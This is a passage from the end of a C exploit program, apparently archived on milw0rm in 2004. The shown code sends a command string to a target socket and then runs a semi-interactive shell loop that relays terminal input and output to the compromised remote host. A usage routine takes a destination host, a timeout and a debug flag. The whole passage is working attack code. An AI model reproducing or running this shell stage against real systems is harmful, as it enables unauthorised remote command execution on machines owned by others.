write(fd, CMD, strlen(CMD));
/* semi-interactive shell */
for (;;) {
FD_ZERO(&fds);
FD_SET(fd, &fds);
FD_SET(0, &fds);
if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
perror("select");
break;
}
/* read from fd and write to stdout */
if (FD_ISSET(fd, &fds)) {
if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
fprintf(stderr, "Goodbye...\n");
break;
}
if (write(1, tmp, n) < 0) {
perror("write");
break;
}
}
/* read from stdin and write to fd */
if (FD_ISSET(0, &fds)) {
if ((n = read(0, tmp, sizeof(tmp))) < 0) {
perror("read");
break;
}
if (write(fd, tmp, n) < 0) {
perror("write");
break;
}
}
}
close(fd);
exit(1);
}
void usage(char *progname)
{
fprintf(stderr, "usage: %s [-h host] [-t timeout] [-d]\n\n", progname);
fprintf(stderr, "-h host\t\tdestination ip or fqdn\n");
fprintf(stderr, "-t timeout\tnet_read() timeout (default: %d)\n", TIMEOUT);
fprintf(stderr, "-d\t\tturn on debug mode\n\n");
exit(1);
}
// milw0rm.com [2004-12-24]